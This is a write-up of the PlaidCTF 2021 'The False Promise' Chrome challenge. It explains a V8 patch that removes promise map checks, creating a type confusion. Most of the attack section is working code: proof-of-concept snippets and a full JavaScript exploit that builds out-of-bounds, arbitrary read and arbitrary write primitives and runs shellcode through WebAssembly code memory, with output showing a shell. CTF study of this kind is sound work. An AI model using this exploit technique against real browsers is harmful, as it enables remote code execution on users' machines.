PlaidCTF 2021 The-False-Promise Chrome Challenge
They provided diff file for us.
diff --git a/src/builtins/promise-jobs.tq b/src/builtins/promise-jobs.tq
index 80e98f373b..ad5eb093e8 100644
--- a/src/builtins/promise-jobs.tq
+++ b/src/builtins/promise-jobs.tq
@@ -23,10 +23,8 @@ PromiseResolveThenableJob(implicit context: Context)(
// debugger is active, to make sure we expose spec compliant behavior.
const nativeContext = LoadNativeContext(context);
const promiseThen = *NativeContextSlot(ContextSlot::PROMISE_THEN_INDEX);
- const thenableMap = thenable.map;
- if (TaggedEqual(then, promiseThen) && IsJSPromiseMap(thenableMap) &&
- !IsPromiseHookEnabledOrDebugIsActiveOrHasAsyncEventDelegate() &&
- IsPromiseSpeciesLookupChainIntact(nativeContext, thenableMap)) {
+ if (TaggedEqual(then, promiseThen) &&
+ !IsPromiseHookEnabledOrDebugIsActiveOrHasAsyncEventDelegate()) {
// We know that the {thenable} is a JSPromise, which doesn't require
// any special treatment and that {then} corresponds to the initial
// Promise.prototype.then method. So instead of allocating a temporary
This is simple patch however you have to check original source code to understand thenableMap more.
Here is the actual vulnerability :
// This is the same as just doing
//
// PerformPromiseThen(thenable, undefined, undefined,
// promise_to_resolve)
//
// which performs exactly the same (observable) steps.
return PerformPromiseThen(
UnsafeCast<JSPromise>(thenable), UndefinedConstant(),
UndefinedConstant(), promiseToResolve);
} else {
const funcs =
CreatePromiseResolvingFunctions(promiseToResolve, False, nativeContext);
const resolve = funcs.resolve;
const reject = funcs.reject;
try {
return Call(
context, UnsafeCast<Callable>(then), thenable, resolve, reject);
} catch (e) {
return Call(context, UnsafeCast<Callable>(reject), Undefined, e);
}
}
}
}
For details you may want to check source code from here.
This vulnerability is a type confusion bug where the engine is expecting a promise.
The UnsafeCast
was there because thenable
was verified by the engine to have the Promise
map and prototype. However all those checks removed in the patch file.
I didn't know about thenable and Promise things during ctf and i had hard time to understand how the function is reached to the vulnerable code section.
I used lots of printf in the code then run it to see if my function reached into vulnerable code.
There are 2 ways to exploit this vulnerability that we found (maybe there are more).
We prefered to use JSArray
Here is the poc for this
var thenable = new ArrayBuffer(0x100);
thenable.then = Promise.prototype.then;
var p2 = Promise.resolve(thenable);
console.log(thenable[0])
function log () {
oob = thenable.slice(0x100,0x1000);
const view = new BigInt64Array(oob);
console.log(view)
}
setTimeout(() => log() , 4);
I really want to hear if someone exploit this by using this way.
With the type confusion, an object of our choice is type casted to a JSPromise Object and passed to PerformPromiseThen implementation. Thus we control the promise object In PerformPromiseThenImpl in src/builtins/promise-abstract-operations.tq
. While reading this source we saw that if the status is Pending (value 0) then eventually we write to an offset in the promise object that we control (on this line - promise.reactions_or_result = reaction;). Looking at this in gdb, we found that this is at the offset right after the elements array of a JSObject. Thus we can overwrite the offset that is right after the elements array in a JSObect with a pointer. Now comes the part of choosing the JSObject to target and here we went for JSArray as on this object the field right after the elements array is the Array length and overwritting that with a pointer will give us a huge oob access on that array.
We used this poc to trigger the vulnerability
thenable = [1,2,3,4,5]
new Object();
thenable.then = Promise.prototype.then
var p2 = Promise.resolve(thenable);
%DebugPrint(thenable);
function log () {
%DebugPrint(thenable);
console.log(thenable[0x4000000])
}
setTimeout(() => log() , 4);
When we got oob on Array then rest of the part is about :
Full exploit :
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function pwn()
{
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let module = new WebAssembly.Module(buffer);
var instance = new WebAssembly.Instance(module);
var main = instance.exports.main;
var shellcode = [4.349575388168352e+199, 1.0543077975713235e-68, 1.9656830452247845e-236, 1.288531947997e-312, -6.828527034370483e-229];
var thenable = [3.14, 3.14, 3.14, 3.14];
new Object();
var victim = [main, main, main, main];
var evil = new Float64Array(0x10);
var leaker = new Uint32Array(0x10);
function stage2() {
let addr_upper = thenable[51].f2i() >> 32n;
let addr_main = (addr_upper << 32n) | (thenable[10].f2i() >> 32n) - 1n;
console.log("[+] addr_main = " + addr_main.hex());
function aar64(addr) {
thenable[26] = ((addr & 0xffffffffn) << 32n).i2f();
thenable[27] = (addr >> 32n).i2f();
return evil[0].f2i();
}
function aaw(addr, values) {
thenable[25] = 0xffff00000000n.i2f();
thenable[26] = ((addr & 0xffffffffn) << 32n).i2f();
thenable[27] = (addr >> 32n).i2f();
for (let i = 0; i < values.length; i++) {
evil[i] = values[i];
}
}
let addr_instance = (aar64(addr_main - 0x44n) & 0xffffffffn) - 1n;
addr_instance |= addr_upper << 32n;
console.log("[+] addr_instance = " + addr_instance.hex());
let addr_code = aar64(addr_instance + 0x68n);
console.log("[+] addr_code = " + addr_code.hex());
aaw(addr_code, shellcode);
main();
}
function stage1() {
thenable.then = Promise.prototype.then
var p2 = Promise.resolve(thenable);
if (typeof window != 'undefined') {
window.addEventListener("load", { get handleEvent() {
stage2();
}});
} else {
setTimeout(() => stage2(), 1);
}
}
stage1();
}
pwn();
Exploit credit for ptr-yudai
You can change the shellcode, the exploit works for chrome and d8.
Result :
./d8 --allow-natives-syntax ./exploit.js
[+] addr_main = 0x32ca08213154
[+] addr_instance = 0x32ca0821301c
[+] addr_code = 0x933ed738000
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
Thank you so much everyone who helped me to solve this challenge.!!